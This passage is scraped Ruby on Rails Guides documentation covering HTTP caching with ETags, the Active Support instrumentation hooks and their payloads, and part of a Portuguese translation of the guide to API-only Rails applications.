http_cache_forever(public: true) do
render
end
end
end

class HomeController < ApplicationController def index http_cache_forever(public: true) do render end end end Copiar

4.1 Strong v/s Weak ETags

Rails generates weak ETags by default. Weak ETags allow semantically equivalent responses to have the same ETags, even if their bodies do not match exactly. This is useful when we don't want the page to be regenerated for minor changes in response body.

Weak ETags have a leading W/ to differentiate them from strong ETags.

W/"618bbc92e2d35ea1945008b42799b0e7" → Weak ETag
"618bbc92e2d35ea1945008b42799b0e7" → Strong ETag

W/"618bbc92e2d35ea1945008b42799b0e7" → Weak ETag "618bbc92e2d35ea1945008b42799b0e7" → Strong ETag Copiar

Unlike weak ETag, strong ETag implies that response should be exactly the same and byte by byte identical. Useful when doing Range requests within a large video or PDF file. Some CDNs support only strong ETags, like Akamai. If you absolutely need to generate a strong ETag, it can be done as follows.

class ProductsController < ApplicationController
def show
@product = Product.find(params[:id])
fresh_when last_modified: @product.published_at.utc, strong_etag: @product
end
end

class ProductsController < ApplicationController def show @product = Product.find(params[:id]) fresh_when last_modified: @product.published_at.utc, strong_etag: @product end end Copiar

You can also set the strong ETag directly on the response.

response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7"

response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7" Copiar

5 Caching in Development

It's common to want to test the caching strategy of your application in development mode. Rails provides the rails command dev:cache to easily toggle caching on/off.

$ bin/rails dev:cache
Development mode is now being cached.
$ bin/rails dev:cache
Development mode is no longer being cached.

bin/rails dev:cache bin/rails dev:cache Copiar

6 References

- DHH's article on key-based expiration

- Ryan Bates' Railscast on cache digests

Active Support Instrumentation — Ruby...

1 Introduction to instrumentation

The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.

For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be subscribed to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.

You are even able to create your own events inside your application which you can later subscribe to.

2 Subscribing to an event

Subscribing to an event is easy. Use ActiveSupport::Notifications.subscribe with a block to listen to any notification.

The block receives the following arguments:

- The name of the event

- Time when it started

- Time when it finished

- A unique ID for the instrumenter that fired the event

- The payload (described in future sections)

ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
# your own custom stuff
Rails.logger.info "#{name} Received! (started: #{started}, finished: #{finished})" # process_action.action_controller Received (started: 2019-05-05 13:43:57 -0800, finished: 2019-05-05 13:43:58 -0800)
end

ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data| # your own custom stuff Rails.logger.info "#{name} Received! (started: #{started}, finished: #{finished})" # process_action.action_controller Received (started: 2019-05-05 13:43:57 -0800, finished: 2019-05-05 13:43:58 -0800) end Copiar

If you are concerned about the accuracy of started and finished to compute a precise elapsed time then use ActiveSupport::Notifications.monotonic_subscribe. The given block would receive the same arguments as above but the started and finished will have values with an accurate monotonic time instead of wall-clock time.

ActiveSupport::Notifications.monotonic_subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
# your own custom stuff
Rails.logger.info "#{name} Received! (started: #{started}, finished: #{finished})" # process_action.action_controller Received (started: 1560978.425334, finished: 1560979.429234)
end

ActiveSupport::Notifications.monotonic_subscribe "process_action.action_controller" do |name, started, finished, unique_id, data| # your own custom stuff Rails.logger.info "#{name} Received! (started: #{started}, finished: #{finished})" # process_action.action_controller Received (started: 1560978.425334, finished: 1560979.429234) end Copiar

Defining all those block arguments each time can be tedious. You can easily create an ActiveSupport::Notifications::Event from block arguments like this:

ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
event = ActiveSupport::Notifications::Event.new *args

event.name      # => "process_action.action_controller"
event.duration  # => 10 (in milliseconds)
event.payload   # => {:extra=>information}

Rails.logger.info "#{event} Received!"
end

ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| event = ActiveSupport::Notifications::Event.new *args event.name # => "process_action.action_controller" event.duration # => 10 (in milliseconds) event.payload # => {:extra=>information} Rails.logger.info "#{event} Received!" end Copiar

You may also pass a block that accepts only one argument, and it will receive an event object:

ActiveSupport::Notifications.subscribe "process_action.action_controller" do |event|
event.name      # => "process_action.action_controller"
event.duration  # => 10 (in milliseconds)
event.payload   # => {:extra=>information}

Rails.logger.info "#{event} Received!"
end

ActiveSupport::Notifications.subscribe "process_action.action_controller" do |event| event.name # => "process_action.action_controller" event.duration # => 10 (in milliseconds) event.payload # => {:extra=>information} Rails.logger.info "#{event} Received!" end Copiar

Most times you only care about the data itself. Here is a shortcut to just get the data.

ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
data = args.extract_options!
data # { extra: :information }
end

ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| data = args.extract_options! data # { extra: :information } end Copiar

You may also subscribe to events matching a regular expression. This enables you to subscribe to multiple events at once. Here's how to subscribe to everything from ActionController.

ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
# inspect all ActionController events
end

ActiveSupport::Notifications.subscribe /action_controller/ do |*args| # inspect all ActionController events end Copiar

3 Rails framework hooks

Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.

4 Action Controller

4.1 write_fragment.action_controller

Key

Value

:key

The complete key

{
key: 'posts/1-dashboard-view'
}

{ key: 'posts/1-dashboard-view' } Copiar

4.2 read_fragment.action_controller

Key

Value

:key

The complete key

{
key: 'posts/1-dashboard-view'
}

{ key: 'posts/1-dashboard-view' } Copiar

4.3 expire_fragment.action_controller

Key

Value

:key

The complete key

{
key: 'posts/1-dashboard-view'
}

{ key: 'posts/1-dashboard-view' } Copiar

4.4 exist_fragment?.action_controller

Key

Value

:key

The complete key

{
key: 'posts/1-dashboard-view'
}

{ key: 'posts/1-dashboard-view' } Copiar

4.5 write_page.action_controller

Key

Value

:path

The complete path

{
path: '/users/1'
}

{ path: '/users/1' } Copiar

4.6 expire_page.action_controller

Key

Value

:path

The complete path

{
path: '/users/1'
}

{ path: '/users/1' } Copiar

4.7 start_processing.action_controller

Key

Value

:controller

The controller name

:action

The action

:params

Hash of request parameters without any filtered parameter

:headers

Request headers

:format

html/js/json/xml etc

:method

HTTP request verb

:path

Request path

{
controller: "PostsController",
action: "new",
params: { "action" => "new", "controller" => "posts" },
headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
format: :html,
method: "GET",
path: "/posts/new"
}

{ controller: "PostsController", action: "new", params: { "action" => "new", "controller" => "posts" }, headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>, format: :html, method: "GET", path: "/posts/new" } Copiar

4.8 process_action.action_controller

Key

Value

:controller

The controller name

:action

The action

:params

Hash of request parameters without any filtered parameter

:headers

Request headers

:format

html/js/json/xml etc

:method

HTTP request verb

:path

Request path

:request

The ActionDispatch::Request

:status

HTTP status code

:location

Location response header

:view_runtime

Amount spent in view in ms

:db_runtime

Amount spent executing database queries in ms

{
controller: "PostsController",
action: "index",
params: {"action" => "index", "controller" => "posts"},
headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
format: :html,
method: "GET",
path: "/posts",
request: #<ActionDispatch::Request:0x00007ff1cb9bd7b8>,
status: 200,
view_runtime: 46.848,
db_runtime: 0.157
}

{ controller: "PostsController", action: "index", params: {"action" => "index", "controller" => "posts"}, headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>, format: :html, method: "GET", path: "/posts", request: #<ActionDispatch::Request:0x00007ff1cb9bd7b8>, status: 200, view_runtime: 46.848, db_runtime: 0.157 } Copiar

4.9 send_file.action_controller

Key

Value

:path

Complete path to the file

Additional keys may be added by the caller.

4.10 send_data.action_controller

ActionController does not add any specific information to the payload. All options are passed through to the payload.

4.11 redirect_to.action_controller

Key

Value

:status

HTTP response code

:location

URL to redirect to

:request

The ActionDispatch::Request

{
status: 302,
location: "http://localhost:3000/posts/new",
request: #<ActionDispatch::Request:0x00007ff1cb9bd7b8>
}

{ status: 302, location: "http://localhost:3000/posts/new", request: #<ActionDispatch::Request:0x00007ff1cb9bd7b8> } Copiar

4.12 halted_callback.action_controller

Key

Value

:filter

Filter that halted the action

{
filter: ":halting_filter"
}

{ filter: ":halting_filter" } Copiar

4.13 unpermitted_parameters.action_controller

Key

Value

:keys

Unpermitted keys

5 Action Dispatch

5.1 process_middleware.action_dispatch

Key

Value

:middleware

Name of the middleware

6 Action View

6.1 render_template.action_view

Key

Value

:identifier

Full path to template

:layout

Applicable layout

{
identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
layout: "layouts/application"
}

{ identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb", layout: "layouts/application" } Copiar

6.2 render_partial.action_view

Key

Value

:identifier

Full path to template

{
identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb"
}

{ identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb" } Copiar

6.3 render_collection.action_view

Key

Value

:identifier

Full path to template

:count

Size of collection

:cache_hits

Number of partials fetched from cache

:cache_hits is only included if the collection is rendered with cached: true.

{
identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb",
count: 3,
cache_hits: 0
}

{ identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb", count: 3, cache_hits: 0 } Copiar

7 Active Record

7.1 sql.active_record

Key

Value

:sql

SQL statement

:name

Name of the operation

:connection

Connection object

:binds

Bind parameters

:type_casted_binds

Typecasted bind parameters

:statement_name

SQL Statement name

:cached

true is added when cached queries used

The adapters will add their own data as well.

{
sql: "SELECT \"posts\".* FROM \"posts\" ",
name: "Post Load",
connection: #<ActiveRecord::ConnectionAdapters::SQLite3Adapter:0x00007f9f7a838850>,
binds: [#<ActiveModel::Attribute::WithCastValue:0x00007fe19d15dc00>],
type_casted_binds: [11],
statement_name: nil
}

{ sql: "SELECT \"posts\".* FROM \"posts\" ", name: "Post Load", connection: #<ActiveRecord::ConnectionAdapters::SQLite3Adapter:0x00007f9f7a838850>, binds: [#<ActiveModel::Attribute::WithCastValue:0x00007fe19d15dc00>], type_casted_binds: [11], statement_name: nil } Copiar

7.2 instantiation.active_record

Key

Value

:record_count

Number of records that instantiated

:class_name

Record's class

{
record_count: 1,
class_name: "User"
}

{ record_count: 1, class_name: "User" } Copiar

8 Action Mailer

8.1 deliver.action_mailer

Key

Value

:mailer

Name of the mailer class

:message_id

ID of the message, generated by the Mail gem

:subject

Subject of the mail

:to

To address(es) of the mail

:from

From address of the mail

:bcc

BCC addresses of the mail

:cc

CC addresses of the mail

:date

Date of the mail

:mail

The encoded form of the mail

:perform_deliveries

Whether delivery of this message is performed or not

{
mailer: "Notification",
message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
subject: "Rails Guides",
to: ["users@rails.com", "dhh@rails.com"],
from: ["me@rails.com"],
date: Sat, 10 Mar 2012 14:18:09 +0100,
mail: "...", # omitted for brevity
perform_deliveries: true
}

{ mailer: "Notification", message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail", subject: "Rails Guides", to: ["users@rails.com", "dhh@rails.com"], from: ["me@rails.com"], date: Sat, 10 Mar 2012 14:18:09 +0100, mail: "...", # omitted for brevity perform_deliveries: true } Copiar

8.2 process.action_mailer

Key

Value

:mailer

Name of the mailer class

:action

The action

:args

The arguments

{
mailer: "Notification",
action: "welcome_email",
args: []
}

{ mailer: "Notification", action: "welcome_email", args: [] } Copiar

9 Active Support

9.1 cache_read.active_support

Key

Value

:key

Key used in the store

:store

Name of the store class

:hit

If this read is a hit

:super_operation

:fetch is added when a read is used with #fetch

9.2 cache_generate.active_support

This event is only used when #fetch is called with a block.

Key

Value

:key

Key used in the store

:store

Name of the store class

Options passed to fetch will be merged with the payload when writing to the store

{
key: "name-of-complicated-computation",
store: "ActiveSupport::Cache::MemCacheStore"
}

{ key: "name-of-complicated-computation", store: "ActiveSupport::Cache::MemCacheStore" } Copiar

9.3 cache_fetch_hit.active_support

This event is only used when #fetch is called with a block.

Key

Value

:key

Key used in the store

:store

Name of the store class

Options passed to fetch will be merged with the payload.

{
key: "name-of-complicated-computation",
store: "ActiveSupport::Cache::MemCacheStore"
}

{ key: "name-of-complicated-computation", store: "ActiveSupport::Cache::MemCacheStore" } Copiar

9.4 cache_write.active_support

Key

Value

:key

Key used in the store

:store

Name of the store class

Cache stores may add their own keys

{
key: "name-of-complicated-computation",
store: "ActiveSupport::Cache::MemCacheStore"
}

{ key: "name-of-complicated-computation", store: "ActiveSupport::Cache::MemCacheStore" } Copiar

9.5 cache_delete.active_support

Key

Value

:key

Key used in the store

:store

Name of the store class

{
key: "name-of-complicated-computation",
store: "ActiveSupport::Cache::MemCacheStore"
}

{ key: "name-of-complicated-computation", store: "ActiveSupport::Cache::MemCacheStore" } Copiar

9.6 cache_exist?.active_support

Key

Value

:key

Key used in the store

:store

Name of the store class

{
key: "name-of-complicated-computation",
store: "ActiveSupport::Cache::MemCacheStore"
}

{ key: "name-of-complicated-computation", store: "ActiveSupport::Cache::MemCacheStore" } Copiar

10 Active Job

10.1 enqueue_at.active_job

Key

Value

:adapter

QueueAdapter object processing the job

:job

Job object

10.2 enqueue.active_job

Key

Value

:adapter

QueueAdapter object processing the job

:job

Job object

10.3 enqueue_retry.active_job

Key

Value

:job

Job object

:adapter

QueueAdapter object processing the job

:error

The error that caused the retry

:wait

The delay of the retry

10.4 perform_start.active_job

Key

Value

:adapter

QueueAdapter object processing the job

:job

Job object

10.5 perform.active_job

Key

Value

:adapter

QueueAdapter object processing the job

:job

Job object

10.6 retry_stopped.active_job

Key

Value

:adapter

QueueAdapter object processing the job

:job

Job object

:error

The error that caused the retry

10.7 discard.active_job

Key

Value

:adapter

QueueAdapter object processing the job

:job

Job object

:error

The error that caused the discard

11 Action Cable

11.1 perform_action.action_cable

Key

Value

:channel_class

Name of the channel class

:action

The action

:data

A hash of data

11.2 transmit.action_cable

Key

Value

:channel_class

Name of the channel class

:data

A hash of data

:via

Via

11.3 transmit_subscription_confirmation.action_cable

Key

Value

:channel_class

Name of the channel class

11.4 transmit_subscription_rejection.action_cable

Key

Value

:channel_class

Name of the channel class

11.5 broadcast.action_cable

Key

Value

:broadcasting

A named broadcasting

:message

A hash of message

:coder

The coder

12 Active Storage

12.1 service_upload.active_storage

Key

Value

:key

Secure token

:service

Name of the service

:checksum

Checksum to ensure integrity

12.2 service_streaming_download.active_storage

Key

Value

:key

Secure token

:service

Name of the service

12.3 service_download_chunk.active_storage

Key

Value

:key

Secure token

:service

Name of the service

:range

Byte range attempted to be read

12.4 service_download.active_storage

Key

Value

:key

Secure token

:service

Name of the service

12.5 service_delete.active_storage

Key

Value

:key

Secure token

:service

Name of the service

12.6 service_delete_prefixed.active_storage

Key

Value

:prefix

Key prefix

:service

Name of the service

12.7 service_exist.active_storage

Key

Value

:key

Secure token

:service

Name of the service

:exist

File or blob exists or not

12.8 service_url.active_storage

Key

Value

:key

Secure token

:service

Name of the service

:url

Generated URL

12.9 service_update_metadata.active_storage

Key

Value

:key

Secure token

:service

Name of the service

:content_type

HTTP Content-Type field

:disposition

HTTP Content-Disposition field

The only ActiveStorage service that provides this hook so far is GCS.

12.10 preview.active_storage

Key

Value

:key

Secure token

12.11 transform.active_storage

13 Railties

13.1 load_config_initializer.railties

Key

Value

:initializer

Path to loaded initializer from config/initializers

14 Rails

14.1 deprecation.rails

Key

Value

:message

The deprecation warning

:callstack

Where the deprecation came from

15 Exceptions

If an exception happens during any instrumentation the payload will include information about it.

Key

Value

:exception

An array of two elements. Exception class name and the message

:exception_object

The exception object

16 Creating custom events

Adding your own events is easy as well. ActiveSupport::Notifications will take care of all the heavy lifting for you. Simply call instrument with a name, payload and a block. The notification will be sent after the block returns. ActiveSupport will generate the start and end times and add the instrumenter's unique ID. All data passed into the instrument call will make it into the payload.

Here's an example:

ActiveSupport::Notifications.instrument "my.custom.event", this: :data do
# do your custom stuff here
end

ActiveSupport::Notifications.instrument "my.custom.event", this: :data do # do your custom stuff here end Copiar

Now you can listen to this event with:

ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
puts data.inspect # {:this=>:data}
end

ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data| puts data.inspect # {:this=>:data} end Copiar

You also have the option to call instrument without passing a block. This lets you leverage the instrumentation infrastructure for other messaging uses.

ActiveSupport::Notifications.instrument "my.custom.event", this: :data

ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
puts data.inspect # {:this=>:data}
end

ActiveSupport::Notifications.instrument "my.custom.event", this: :data ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data| puts data.inspect # {:this=>:data} end Copiar

You should follow Rails conventions when defining your own events. The format is: event.library. If your application is sending Tweets, you should create an event named tweet.twitter.

Using Rails for API-only Applications...

1 O que é uma Aplicação API?

Tradicionalmente, quando as pessoas dizem que usam o Rails como uma "API", elas querem dizer que fornecem uma API acessível junto a suas aplicações web. Por exemplo, o GitHub fornece uma API que você pode usar nas suas próprias aplicações personalizadas.

Com o advento dos frameworks client-side, mais desenvolvedores estão usando o Rails para construir um back-end compartilhado entre suas aplicações web e outros aplicativos nativos.

Por exemplo, o Twitter usa sua API pública em sua aplicação web, que é um site estático que consome recursos via JSON.

Em vez de usar o Rails para gerar HTML que se comunica com o servidor através de formulários e links, muitos desenvolvedores estão tratando suas aplicações web apenas como uma API, separadamente do HTML com JavaScript que apenas consome uma API JSON.

Esse guia aborda a construção de um aplicativo Rails que fornece dados em JSON para um cliente, incluindo frameworks client-side.

2 Por Que Usar Rails para APIs JSON?

A primeira questão que muitas pessoas têm quando estão pensando em construir uma API JSON utilizando Rails é: "Utilizar Rails para retornar alguns JSON não é exagero? Não deveríamos usar algo como Sinatra?"

Para APIs muito simples, isso pode ser verdade. Porém, até mesmo em aplicações com muito HTML, boa parte da lógica de uma aplicação está fora da camada de visualização.

A razão da maioria das pessoas usar o Rails é que ele fornece um conjunto de padrões que permitem desenvolvedores criarem e rodarem rápido, sem ter de fazer muitas decisões triviais.

Vamos dar uma olhada em algumas das coisas que o Rails fornece "direto da caixa" que são aplicáveis para aplicações API.

Manipulado na camada de middleware:

- Recarregando: Aplicações Rails suportam recarregamento transparente. Isso funciona até quando sua aplicação fica grande e reiniciar o servidor para cada requisição fica inviável.

- Modo de Desenvolvimento: Aplicações Rails vem com padrões inteligentes para desenvolvimento, tornando o desenvolvimento prazeroso sem comprometer performance e tempo de produção.

- Modo de Teste: Modo de desenvolvimento Ditto.

- Logging: Aplicações Rails criam logs cada requisição, em um nível de verbosidade apropriada para seu modo atual. Os Logs do Rails em modo de desenvolvimento incluem informações sobre o ambiente da requisição, queries da base de dados e informações básicas de performance.

- Segurança: O Rails detecta e impede ataques de IP spoofing e lida com assinaturas criptográficas em um timming attack de maneira consciente. Não sabe o que são IP spoofing e timming attack? Exato.

- Análise de Parâmetros: Quer especificar seus parâmetros como JSON ao invés de uma String URL-encoded? Sem problemas. O Rails vai decodificar o JSON para você e disponibilizá-lo em params. Quer usar parâmetros URL-encoded aninhados? Isto funciona também.

- GETs condicionais: O Rails lida com GET condicional (ETag e Last-Modified) processando os cabeçalhos de requisição e retornando os cabeçalhos corretos de resposta e o código de status. Tudo que você precisa para isso é usar a checagem stale? em seu controller, e o Rails vai cuidar de todos os detalhes do HTTP para você.

- Requisições HEAD: O Rails vai converter de forma transparente requisições HEAD em requisições GET, e retornar apenas os cabeçalhos no retorno. Isto garante que HEAD funcione de forma confiável em todas as APIs Rails.

Enquanto você poderia obviamente construir isto em termos de existir o middleware Rack, esta lista demonstra que o padrão de pilha middleware Rails fornece muito valor, até mesmo quando você está só "gerando JSON".

Controlado na camada Action Pack:

- Rotas Resourceful: Se você está construindo uma API RESTful JSON, você quer usar o Rails router. O mapeamento limpo e convencional de HTTP para controllers significa não ter que gastar tempo pensando em como modelar sua API em termos de HTTP.

- Geração de URL: O outro lado do roteamento é a geração de URL. Uma boa API baseada em HTTP inclui URLs (veja o GitHub Gist API como exemplo)

- Respostas de Cabeçalho e Redirecionamento: head :no_content e redirect_to user_url(current_user) são bem convenientes. Claro, você pode adicionar cabeçalhos de respostas manualmente, mas por quê?

- Caching: O Rails fornece cache de página, ação e fragmento. Cache de fragmento é especialmente útil quando construímos objetos JSON aninhados.

- Autenticações Basic, Digest, and Token: O Rails vem com um suporte para todos os três tipos de autenticação "direto da caixa".

- Instrumentação: O Rails tem uma instrumentação de API que desencadeia manipuladores registrados para uma variedade de eventos, assim como processamento de ação, enviando um arquivo ou dado, redirecionamento e queries de base de dados. O payload de cada evento vem com informações relevantes (para o processamento de ação, o payload inclui o controller, action, parameters, request format, request method e o request's full path).

- Geradores: É muitas vezes útil gerar um recurso e gerar para você model, controller, test stubs e routes em um único comando para futuros ajustes. Mesmo para migrações entre outros.

- Plugins: Muitas bibliotecas terceiras vem com suporte para Rails que reduzem ou eliminam o custo de configuração e utilização junto da biblioteca e o framework web. Isso inclui coisas como substituir geradores padrão, adicionando Rake tasks, honrando as escolhas do Rails (como logger e cache back-end).

Claro, o processo de boot do Rails também junta todos os componentes registrados. Por exemplo, o processo de boot do Rails é o que usa seu arquivo config/database.yml quando está configurando seu Active Record.

A versão resumida é: você pode não ter pensado em quais partes do Rails continuam aplicáveis até mesmo se você remover a camada de view, mas a resposta é que a maioria delas continua.

3 Configuração básica

Se você estiver construindo uma aplicação Rails que será uma API, você pode começar com um subconjunto mais limitado do Rails e adicionar recursos, conforme necessário.

3.1 Criando uma nova aplicação

Você pode gerar uma nova API Rails:

$ rails new my_api --api

rails new my_api --api Copiar

Esse comando fará três coisas principais para você:

- Configura sua aplicação para começar com um conjunto mais limitado de middlewares que o normal. Especificamente, não serão incluídos middlewares para aplicações web (como suporte a cookies) por padrão.

- Faz com que o ApplicationController herde do ActionController::API ao invés do ActionController::Base. Como nos middlewares, isso exclui qualquer Action Controller ou Módulo que forneçam funcionalidades usadas primordialmente pelo navegador.

- Configura os geradores para não gerar views, helpers, e assets quando você criar um novo recurso.

3.2 Alterando uma aplicação existente

Se você deseja usar uma aplicação que já existe e transformá-la em API, siga os passos a seguir.

Em config/application.rb adicione a seguinte linha no começo da classe Application:

config.api_only = true

config.api_only = true Copiar

Em config/environments/development.rb, defina config.debug_exception_response_format para configurar o formato usado nas respostas quando ocorrer um erro no modo de desenvolvimento.

Para renderizar uma página HTML com as informações de debugging, use o valor :default.

config.debug_exception_response_format = :default

config.debug_exception_response_format = :default Copiar

Para renderizar as informações de debugging preservando o formato da resposta, use o valor :api.

config.debug_exception_response_format = :api

config.debug_exception_response_format = :api Copiar

Por padrão, config.debug_exception_response_format está definido para :api, quando config.api_only está com o valor true.

Finalmente, no arquivo app/controllers/application_controller.rb, ao invés de

class ApplicationController < ActionController::Base
end

class ApplicationController < ActionController::Base end Copiar

troque por:

class ApplicationController < ActionController::API
end

class ApplicationController < ActionController::API end Copiar

4 Escolhendo o Middleware

Uma aplicação de API vem com os seguintes middlewares por padrão:

- ActionDispatch::HostAuthorization

- Rack::Sendfile

- ActionDispatch::Static

- ActionDispatch::Executor

- ActiveSupport::Cache::Strategy::LocalCache::Middleware

- Rack::Runtime

- ActionDispatch::RequestId

- ActionDispatch::RemoteIp

- Rails::Rack::Logger

- ActionDispatch::ShowExceptions

- ActionDispatch::DebugExceptions

- ActionDispatch::ActionableExceptions

- ActionDispatch::Reloader

- ActionDispatch::Callbacks

- ActiveRecord::Migration::CheckPending

- Rack::Head

- Rack::ConditionalGet

- Rack::ETag

Olhe a sessão middleware interno do guia do Rack para mais informações.

Outros plugins, incluindo o Active Record, podem adicionar middlewares adicionais. Em geral, esses middlewares são agnósticos para o tipo de aplicação que você está construindo, e isso faz sentido em uma aplicação de API Rails.

Você pode recuperar uma lista com todos os middlewares de sua aplicação via:

$ bin/rails middleware

bin/rails middleware Copiar

4.1 Usando o Middleware de Cache

Por padrão, o Rails vai adicionar um middleware que fornece um armazenamento de cache baseado na configuração de sua aplicação (memcache por padrão). Isso significa que o cache embutido no HTTP pode confiar nisso.

Por exemplo, usando o metodo stale?:

def show
@post = Post.find(params[:id])

if stale?(last_modified: @post.updated_at)
render json: @post
end
end

def show @post = Post.find(params[:id]) if stale?(last_modified: @post.updated_at) render json: @post end end Copiar

A chamada stale? vai comparar o cabeçalho If-Modified-Since na requisição com o @post.updated_at. Se o cabeçalho é mais novo que a ultima modificação, esta ação vai retornar a resposta "304 Not Modified". Do contrário, ele vai renderizar a resposta e incluir um cabeçalho Last-Modified nele.

Normalmente, este mecanismo é usado com base por cliente. O cache de middleware nos permite compartilhar este mecanismo de cache através dos clientes. Nós podemos ativar o cache cross-client na chamada para stale?:

def show
@post = Post.find(params[:id])

if stale?(last_modified: @post.updated_at, public: true)
render json: @post
end
end

def show @post = Post.find(params[:id]) if stale?(last_modified: @post.updated_at, public: true) render json: @post end end Copiar

Isto significa que o cache de middleware vai guardar o valor de Last-Modified para a URL no cache do Rails, e adiciona um cabeçalho If-Modified-Since para qualquer requisição de entrada para a mesma URL.

Pense nisso como um cache de página usando a semântica HTTP.

4.2 Usando Rack::Sendfile

Quando você usa o método send_file dentro de um controller do Rails, ele define o cabeçalho X-Sendfile. O Rack::Sendfile é responsável por efetivamente enviar o arquivo.

Se seu servidor front-end suportar envio de arquivos acelerado, Rack::SendFile vai descarregar o arquivo real enviando o trabalho para o servidor front-end.

Você pode configurar o nome do cabeçalho que seu servidor front-end usa para este propósito usando config.action_dispatch.x_sendfile_header em seu arquivo de configuração de ambiente apropriado.

Você pode aprender mais sobre como usar o Rack::Sendfile com front-ends populares na documentação do Rack::Sendfile.

Aqui estão alguns valores para este cabeçalho para alguns servidores populares, quando estes servidores são configurados para suportar envio de arquivo acelerado.

# Apache e lighttpd
config.action_dispatch.x_sendfile_header = "X-Sendfile"

# Nginx
config.action_dispatch.x_sendfile_header = "X-Accel-Redirect"

# Apache e lighttpd config.action_dispatch.x_sendfile_header = "X-Sendfile" # Nginx config.action_dispatch.x_sendfile_header = "X-Accel-Redirect" Copiar

Se certifique de configurar seu servidor para suportar estas opções seguindo as instruções na documentação do Rack::Sendfile.

4.3 Usando ActionDispatch::Request

ActionDispatch::Request#params vai pegar os parâmetros do cliente no formato JSON e deixa-los disponiveis em seu controller dentro de params.

para usar isto, seu cliente vai precisar fazer a requisição com parâmetros JSON-encoded e especificar o Content-Type como application/json.

Aqui um exemplo em JQuery:

jQuery.ajax({
type: 'POST',
url: '/people',
dataType: 'json',
contentType: 'application/json',
data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }),
success: function(json) { }
});

jQuery.ajax({ type: 'POST', url: '/people', dataType: 'json', contentType: 'application/json', data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }), success: function(json) { } }); Copiar

O ActionDispatch::Request verá o Content-Type e seus parâmetros serão:

{ :person => { :firstName => "Yehuda", :lastName => "Katz" } }

{ :person => { :firstName => "Yehuda", :lastName => "Katz" } } Copiar

4.4 Usando Middlewares de Sessão (Session)

Os middlewares a seguir, usados para gerenciamento de sessão, são excluídos das aplicações de API, pois normalmente não precisam de sessões. Se um de seus clientes de API forem um navegador, convém adicionar um deles novamente em:

- ActionDispatch::Session::CacheStore

- ActionDispatch::Session::CookieStore

- ActionDispatch::Session::MemCacheStore

O truque para adicioná-los de volta é que, por padrão, eles são passados para session_options quando adicionado (incluindo a chave de sessão), então você não pode simplesmente adicionar um inicializador session_store.rb, adicione use ActionDispatch::Session::CookieStore e tenha as sessões funcionando normalmente. (Para ser claro: sessões pode funcionar, mas suas opções de sessão serão ignoradas - ou seja, a chave de sessão será padronizada para _session_id)

Em vez do inicializador, você terá que definir as opções relevantes em algum lugar antes que seu middleware seja construído (como config/application.rb) e passá-los para o seu middleware preferido, assim:

# Isso também configura session_options para uso abaixo
config.session_store :cookie_store, key: '_interslice_session'

# Obrigatório para todo o gerenciamento de sessão (independentemente de session_store)
config.middleware.use ActionDispatch::Cookies

config.middleware.use config.session_store, config.session_options

# Isso também configura session_options para uso abaixo config.session_store :cookie_store, key: '_interslice_session' # Obrigatório para todo o gerenciamento de sessão (independentemente de session_store) config.middleware.use ActionDispatch::Cookies config.middleware.use config.session_store, config.session_options Copiar

4.5 Outros Middleware

O Rails vem com vários outros middlewares que você pode querer usar em uma aplicação API, especialmente se um de seus clientes da API é o navegador:

- Rack::MethodOverride

- ActionDispatch::Cookies

- ActionDispatch::Flash

Qualquer um desses middlewares pode ser adicionado via:

config.middleware.use Rack::MethodOverride

config.middleware.use Rack::MethodOverride Copiar

4.6 Removendo Middleware

Se você não quer usar um middleware que está incluído por padrão no conjunto de middlewares API-only, você pode remove-lo com:

config.middleware.delete ::Rack::Sendfile

config.middleware.delete ::Rack::Sendfile Copiar

Tenha em mente que removendo estes middlewares vai remover suporte para alguns recursos no Action Controller.

5 Escolhendo os módulos do controller

Uma aplicação API (utilizando ActionController::API) vem com os seguintes módulos do controller por padrão:

- ActionController::UrlFor: Faz com que url_for e helpers similares sejam disponíveis.

- ActionController::Redirecting: Suporte para redirect_to.

- AbstractController::Rendering e ActionController::ApiRendering: Suporte básico para renderização.

- ActionController::Renderers::All: Suporte para render :json e similares.

- ActionController::ConditionalGet: Suporte para stale?.

- ActionController::BasicImplicitRender: Certifica-se de retornar uma resposta vazia, se não houver uma explícita.

- ActionController::StrongParameters: Suporte para filtragem de parâmetros em conjunto com a atribuição do ActiveModel.

- ActionController::DataStreaming: Suporte para send_file e send_data.

- AbstractController::Callbacks: Suporte para before_action e helpers similares.

- ActionController::Rescue: Suporte para rescue_from.

